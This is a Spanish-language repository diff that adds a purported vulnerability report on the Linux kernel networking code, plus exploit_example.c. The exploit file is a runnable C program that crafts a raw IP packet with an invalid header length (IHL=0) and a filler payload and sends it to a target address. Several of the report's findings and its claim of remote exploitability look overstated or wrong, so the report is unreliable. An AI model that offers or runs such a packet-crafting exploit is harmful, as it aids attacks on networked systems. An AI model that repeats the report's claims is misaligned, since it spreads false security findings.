96
README.md
Archivo normal
96
README.md
Archivo normal
@@ -0,0 +1,96 @@
|
||||
# Reporte de Vulnerabilidades de Seguridad en net/
|
||||
|
||||
## 1. VALIDACIÓN INSUFICIENTE EN RAW SOCKETS
|
||||
**Archivo**: net/ipv4/raw.c líneas 380-400
|
||||
**Problema**: Campo IHL no validado adecuadamente
|
||||
**Impacto**: DoS, corrupción de memoria
|
||||
|
||||
```c
|
||||
iphlen = iph->ihl * 4; // Sin validación mínima
|
||||
if (iphlen > length) // Solo verifica máximo, no mínimo
|
||||
goto error_free;
|
||||
```
|
||||
|
||||
## 2. VALIDACIÓN DE LONGITUD EN OPCIONES IP
|
||||
**Archivo**: net/ipv4/ip_options.c líneas 279-286
|
||||
**Problema**: Validación inconsistente de optlen
|
||||
|
||||
```c
|
||||
if (optlen < 2 || optlen > l) {
|
||||
pp_ptr = optptr;
|
||||
goto error;
|
||||
}
|
||||
// Pero luego:
|
||||
if (optlen < 3) { // Validación adicional inconsistente
|
||||
pp_ptr = optptr + 1;
|
||||
goto error;
|
||||
}
|
||||
```
|
||||
|
||||
## 3. MANEJO DE DATOS DE USUARIO EN NETLINK
|
||||
**Archivo**: net/netlink/af_netlink.c línea 1871
|
||||
**Problema**: memcpy_from_msg sin validación previa completa
|
||||
|
||||
```c
|
||||
if (memcpy_from_msg(skb_put(skb, len), msg, len)) {
|
||||
kfree_skb(skb);
|
||||
goto out;
|
||||
}
|
||||
```
|
||||
|
||||
## 4. VALIDACIÓN DE TAMAÑO EN PACKET SOCKETS
|
||||
**Archivo**: net/packet/af_packet.c línea 2093
|
||||
**Problema**: Potencial overflow en skb_put
|
||||
|
||||
```c
|
||||
err = memcpy_from_msg(skb_put(skb, len), msg, len);
|
||||
```
|
||||
|
||||
## 5. VERIFICACIÓN DE LÍMITES EN TCP
|
||||
**Archivo**: net/ipv4/tcp.c líneas 3774-3776
|
||||
**Problema**: Validación mínima pero no máxima
|
||||
|
||||
```c
|
||||
if (optlen < sizeof(int))
|
||||
return -EINVAL;
|
||||
// Falta validación de límite superior
|
||||
```
|
||||
|
||||
## RECOMENDACIONES DE MITIGACIÓN:
|
||||
|
||||
### Para Raw Sockets:
|
||||
```c
|
||||
// Añadir validación mínima
|
||||
if (iph->ihl < 5 || iph->ihl > 15) {
|
||||
err = -EINVAL;
|
||||
goto error_free;
|
||||
}
|
||||
```
|
||||
|
||||
### Para Opciones IP:
|
||||
```c
|
||||
// Validación consistente
|
||||
if (optlen < MIN_OPT_LEN || optlen > MAX_OPT_LEN) {
|
||||
goto error;
|
||||
}
|
||||
```
|
||||
|
||||
### Para Netlink:
|
||||
```c
|
||||
// Validar límites antes de memcpy
|
||||
if (len > MAX_NETLINK_MSG_SIZE) {
|
||||
err = -EMSGSIZE;
|
||||
goto out;
|
||||
}
|
||||
```
|
||||
|
||||
## IMPACTO POTENCIAL:
|
||||
- Denegación de servicio (DoS)
|
||||
- Corrupción de memoria del kernel
|
||||
- Bypass de validaciones de seguridad
|
||||
- Potencial escalada de privilegios (en casos extremos)
|
||||
- Ataques de red remotos
|
||||
|
||||
## NIVEL DE SEVERIDAD: ALTO
|
||||
Estas vulnerabilidades pueden ser explotadas remotamente a través de la red
|
||||
y afectar la estabilidad del sistema.
|
||||
94
exploit_example.c
Archivo normal
94
exploit_example.c
Archivo normal
@@ -0,0 +1,94 @@
|
||||
/*
|
||||
* Ejemplo de Exploit Potencial - Vulnerabilidad en Raw Socket
|
||||
*
|
||||
* Este código demuestra cómo un atacante podría explotar la falta de
|
||||
* validación adecuada del campo IHL en raw sockets del kernel Linux.
|
||||
*/
|
||||
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
struct malicious_packet {
|
||||
struct iphdr ip_header;
|
||||
unsigned char payload[1500]; // Tamaño del payload malicioso
|
||||
};
|
||||
|
||||
int main() {
|
||||
int raw_socket;
|
||||
struct sockaddr_in target;
|
||||
struct malicious_packet packet;
|
||||
|
||||
// Crear raw socket (requiere privilegios root)
|
||||
raw_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
|
||||
if (raw_socket < 0) {
|
||||
perror("No se pudo crear raw socket");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Configurar el destino
|
||||
memset(&target, 0, sizeof(target));
|
||||
target.sin_family = AF_INET;
|
||||
target.sin_addr.s_addr = inet_addr("192.168.0.100");
|
||||
|
||||
// Crear paquete malicioso
|
||||
memset(&packet, 0, sizeof(packet));
|
||||
|
||||
// VULNERABILIDAD: Campo IHL malformado
|
||||
packet.ip_header.version = 4;
|
||||
packet.ip_header.ihl = 0; // ¡IHL = 0! Esto es inválido
|
||||
packet.ip_header.tos = 0;
|
||||
packet.ip_header.tot_len = htons(sizeof(packet));
|
||||
packet.ip_header.id = htons(12345);
|
||||
packet.ip_header.frag_off = 0;
|
||||
packet.ip_header.ttl = 64;
|
||||
packet.ip_header.protocol = IPPROTO_TCP;
|
||||
packet.ip_header.check = 0;
|
||||
packet.ip_header.saddr = inet_addr("192.168.0.1");
|
||||
packet.ip_header.daddr = target.sin_addr.s_addr;
|
||||
|
||||
// Payload malicioso que podría causar problemas
|
||||
memset(packet.payload, 0x41, sizeof(packet.payload));
|
||||
|
||||
printf("Enviando paquete con IHL malformado...\n");
|
||||
printf("IHL = %d (debería ser >= 5)\n", packet.ip_header.ihl);
|
||||
|
||||
// Enviar el paquete malicioso
|
||||
if (sendto(raw_socket, &packet, sizeof(packet), 0,
|
||||
(struct sockaddr*)&target, sizeof(target)) < 0) {
|
||||
perror("Error enviando paquete");
|
||||
} else {
|
||||
printf("Paquete malicioso enviado!\n");
|
||||
printf("El kernel podría procesar incorrectamente este paquete\n");
|
||||
}
|
||||
|
||||
close(raw_socket);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*
|
||||
* EXPLICACIÓN DEL PROBLEMA:
|
||||
*
|
||||
* 1. El campo IHL (Internet Header Length) especifica la longitud del header IP
|
||||
* 2. Debe ser al menos 5 (20 bytes mínimos del header IP)
|
||||
* 3. En el código del kernel (raw.c línea 383):
|
||||
* iphlen = iph->ihl * 4;
|
||||
*
|
||||
* 4. Si IHL = 0, entonces iphlen = 0
|
||||
* 5. Esto puede causar:
|
||||
* - Acceso a memoria no válida
|
||||
* - Bypass de validaciones de seguridad
|
||||
* - Potencial corrupción de datos
|
||||
* - Denegación de servicio
|
||||
*
|
||||
* POSIBLES IMPACTOS:
|
||||
* - DoS (Denial of Service)
|
||||
* - Corrupción de memoria del kernel
|
||||
* - Potencial escalada de privilegios
|
||||
* - Bypass de filtros de red
|
||||
*/
|
||||
Referencia en una nueva incidencia
Block a user